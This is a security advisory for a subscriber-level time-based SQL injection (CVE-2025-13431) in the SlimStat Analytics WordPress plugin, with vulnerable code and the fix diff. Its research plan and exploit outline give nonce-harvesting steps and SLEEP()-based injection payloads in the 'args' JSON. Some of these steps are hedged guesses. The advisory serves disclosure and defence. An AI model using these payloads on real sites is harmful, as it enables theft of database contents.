SlimStat Analytics <= 5.3.1 - Authenticated (Subscriber+) SQL Injection via `args` Parameter
Description
The SlimStat Analytics plugin for WordPress is vulnerable to time-based SQL Injection via the ‘args’ parameter in all versions up to, and including, 5.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.3.1What Changed in the Fix
Changes introduced in v5.3.2
Source Code
WordPress.org SVNThis research plan focuses on **CVE-2025-13431**, a time-based SQL Injection vulnerability in the SlimStat Analytics plugin for WordPress. ### 1. Vulnerability Summary The **SlimStat Analytics** plugin (up to 5.3.1) is vulnerable to authenticated SQL injection via the `args` parameter in the `ajaxF…
Show full research plan
This research plan focuses on CVE-2025-13431, a time-based SQL Injection vulnerability in the SlimStat Analytics plugin for WordPress.
1. Vulnerability Summary
The SlimStat Analytics plugin (up to 5.3.1) is vulnerable to authenticated SQL injection via the args parameter in the ajaxFetchChartData method within src/Modules/Chart.php. The vulnerability arises because the plugin accepts a JSON-encoded object via $_POST['args'], decodes it, and uses its keys/values to construct SQL queries without sufficient sanitization or the use of $wpdb->prepare(). Specifically, the plugin uses these arguments to build complex analytic queries where string concatenation is preferred over parameterization for dynamic WHERE or GROUP BY clauses.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
slimstat_fetch_chart_data(Inferred from the method nameajaxFetchChartDatainsrc/Modules/Chart.php) - Vulnerable Parameter:
args(a JSON-encoded string) - Authentication: Authenticated, Subscriber level or higher.
- Nonce Requirement: Yes, a nonce for the action
slimstat_chart_nonceis required, as checked bycheck_ajax_referer('slimstat_chart_nonce', 'nonce')insrc/Modules/Chart.php.
3. Code Flow
- Entry Point: A Subscriber user sends a POST request to
admin-ajax.phpwithaction=slimstat_fetch_chart_data. - Nonce Verification:
Chart::ajaxFetchChartData()callscheck_ajax_referer('slimstat_chart_nonce', 'nonce'). - Input Parsing:
$args = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : [];(Line 50 insrc/Modules/Chart.php).
- Database Initialization:
- The code ensures
\wp_slimstat_dbis initialized and sets range filters using$args['start']and$args['end'].
- The code ensures
- SQL Construction:
- The
Chartinstance callsinit($args), which leads tofetchChartData($normalized). fetchChartDatacalls$this->buildSql($args, $prevArgs)(Line 158).buildSqlcalls internal methods likesqlFor('HOUR', ...)which utilize values from the$argsarray to concatenate into the query string.
- The
- Sink:
$results = $wpdb->get_results($sqlInfo['sql']);(Line 159). Since the query is built via concatenation inbuildSqland the underlyingsqlForhelpers, an attacker can inject SQL commands.
4. Nonce Acquisition Strategy
The nonce is localized for use in the WordPress admin dashboard where analytics charts are displayed. Even Subscriber-level users can typically access certain dashboard widgets if enabled.
- Preparation: Create a page containing a SlimStat shortcode to ensure all necessary scripts and nonces are enqueued.
wp post create --post_type=page --post_title="Analytics" --post_status=publish --post_content='[slimstat_chart]'
- Navigation: Navigate to the created page as a Subscriber user.
- Extraction: Use
browser_evalto find the JavaScript object containing the nonce.- SlimStat typically localizes data into an object named
SlimStatParamsorSlimstatParams. - Action:
browser_eval("window.SlimStatParams?.nonce || window.SlimstatParams?.nonce") - Note: If the shortcode doesn't work, check the Dashboard (
/wp-admin/index.php) as SlimStat often enqueues its chart nonce for the "At a Glance" or "Slimstat Overview" widgets.
- SlimStat typically localizes data into an object named
5. Exploitation Strategy
The goal is to trigger a SLEEP() command to confirm the SQL injection.
HTTP Request (Playwright http_request):
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:slimstat_fetch_chart_datanonce:[EXTRACTED_NONCE]granularity:dailyargs: A JSON-encoded payload. Based onbuildSql, the injection point is likely within a filter key or an unexpected key that gets concatenated into theWHEREclause.- Payload Example:
{ "start": 1704067200, "end": 1735689600, "filter": "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)" } - Alternative payload (if the injection is in the
granularitycheck bypass or other keys):{ "start": "1704067200' AND SLEEP(5) AND '1'='1", "end": 1735689600 }
6. Test Data Setup
- User: Create a subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password. - Plugin Config: Ensure SlimStat is active:
wp plugin activate wp-slimstat. - Content: Create a page with the shortcode to leak the nonce:
wp post create --post_type=page --post_status=publish --post_title="Leak" --post_content='[slimstat_chart]'
- Baseline: Log in as
attackerand navigate to the page to confirm the nonce exists.
7. Expected Results
- Vulnerable Response: The HTTP request to
admin-ajax.phpwill take approximately 5 seconds longer than a normal request. - Success Indicator: A JSON response containing
{"success":true, "data": ...}or a database error if the sleep is successful but the rest of the query breaks.
8. Verification Steps
- Database Check: Use
wp db queryto check for the presence of thewp_slim_statstable to ensure the plugin is initialized. - Timing: Compare the
total_timeof a baseline request (validargs) vs the exploit request (injectedSLEEP). - Error Logging: Check
wp-content/debug.log(ifWP_DEBUGis on) for SQL syntax errors which confirm the point of injection:tail -f wp-content/debug.log | grep "WordPress database error"
9. Alternative Approaches
- Granularity Injection: The
granularityparameter inChart.php:ajaxFetchChartDatais sanitized withsanitize_text_field, but the$args['granularity']used later might be manipulated. - Boolean-based: Instead of
SLEEP(), useOR (1=1)orOR (1=2)and compare thetotalsobject returned in the JSON response:wp_send_json_success(['totals' => $totals, ...])(Line 81).- Differences in the
v1orv2values in the response between1=1and1=2confirm boolean-based injection.
- Key Discovery: If
filteris not the correct key, try injecting intostart,end, or adding custom keys likewhereorhavingwhich the plugin might dynamically process into the SQL string.
Summary
SlimStat Analytics is vulnerable to authenticated SQL injection via the 'args' parameter in its AJAX chart data fetching functionality. The plugin decodes a JSON object and uses its values directly in SQL queries without sufficient sanitization or preparation, allowing users with Subscriber-level access or higher to perform time-based SQL injection.
Vulnerable Code
// src/Modules/Chart.php:48 public static function ajaxFetchChartData() { check_ajax_referer('slimstat_chart_nonce', 'nonce'); $args = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : []; $granularity = isset($_POST['granularity']) ? sanitize_text_field($_POST['granularity']) : 'daily'; if (!in_array($granularity, ['yearly', 'monthly', 'weekly', 'daily', 'hourly'], true)) { wp_send_json_error(['message' => __('Invalid granularity', 'wp-slimstat')]); } if (!class_exists('\wp_slimstat_db')) { include_once SLIMSTAT_DIR . '/admin/view/wp-slimstat-db.php'; \wp_slimstat_db::init(); } \wp_slimstat_db::$filters_normalized['utime']['start'] = $args['start']; \wp_slimstat_db::$filters_normalized['utime']['end'] = $args['end']; --- // src/Modules/Chart.php:156 private function fetchChartData(array $args): array { global $wpdb; $prevArgs = $this->calculatePreviousArgs($args); $sqlInfo = $this->buildSql($args, $prevArgs); $results = $wpdb->get_results($sqlInfo['sql']); $totals = $wpdb->get_results($sqlInfo['totalsSql']); return $this->processResults( $results, $totals, $sqlInfo['params'], $args['start'], $args['end'], $prevArgs['start'], $prevArgs['end'] ); }
Security Fix
@@ -41,12 +41,26 @@ { check_ajax_referer('slimstat_chart_nonce', 'nonce'); + // Additional capability check - users must be able to view stats + $minimum_capability = 'read'; + if (!current_user_can($minimum_capability)) { + wp_send_json_error(['message' => __('Insufficient permissions', 'wp-slimstat')]); + } + $args = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : []; $granularity = isset($_POST['granularity']) ? sanitize_text_field($_POST['granularity']) : 'daily'; if (!in_array($granularity, ['yearly', 'monthly', 'weekly', 'daily', 'hourly'], true)) { wp_send_json_error(['message' => __('Invalid granularity', 'wp-slimstat')]); } + + // Validate and sanitize start/end timestamps + if (isset($args['start'])) { + $args['start'] = absint($args['start']); + } + if (isset($args['end'])) { + $args['end'] = absint($args['end']); + } if (!class_exists('\wp_slimstat_db')) { include_once SLIMSTAT_DIR . '/admin/view/wp-slimstat-db.php'; @@ -216,8 +230,16 @@ global $wpdb; $data1 = $args['chart_data']['data1'] ?? ''; $data2 = $args['chart_data']['data2'] ?? ''; - - $start = $args['start']; - $end = $args['end']; + + // Validate SQL expressions to prevent SQL injection + $data1 = $this->validateSqlExpression($data1); + $data2 = $this->validateSqlExpression($data2); + + // Ensure timestamps are integers (defense in depth) + $start = absint($args['start']); + $end = absint($args['end']); + $prevStart = absint($prevArgs['start']); + $prevEnd = absint($prevArgs['end']); $totalOffsetSeconds = (int) $wpdb->get_var('SELECT TIMESTAMPDIFF(SECOND, UTC_TIMESTAMP(), NOW())'); $sign = ($totalOffsetSeconds < 0) ? '+' : '-';
Exploit Outline
The vulnerability is exploited via an AJAX request to the 'slimstat_fetch_chart_data' action. 1. An attacker authenticates as a Subscriber and retrieves a valid 'slimstat_chart_nonce' from the WordPress dashboard or a page using SlimStat shortcodes. 2. The attacker crafts a POST request to '/wp-admin/admin-ajax.php' containing the 'args' parameter as a JSON-encoded string. 3. Within the 'args' JSON object, the attacker injects SQL payloads into keys such as 'start' or 'end'. For example: { "start": "1735689600 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)", "end": 1735689700 }. 4. Because the plugin uses these values directly in string concatenation to build the SQL query (specifically in the 'sqlFor' helper methods used by 'buildSql'), the SLEEP() command is executed by the database. 5. The attacker observes the delay in response to confirm the injection.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.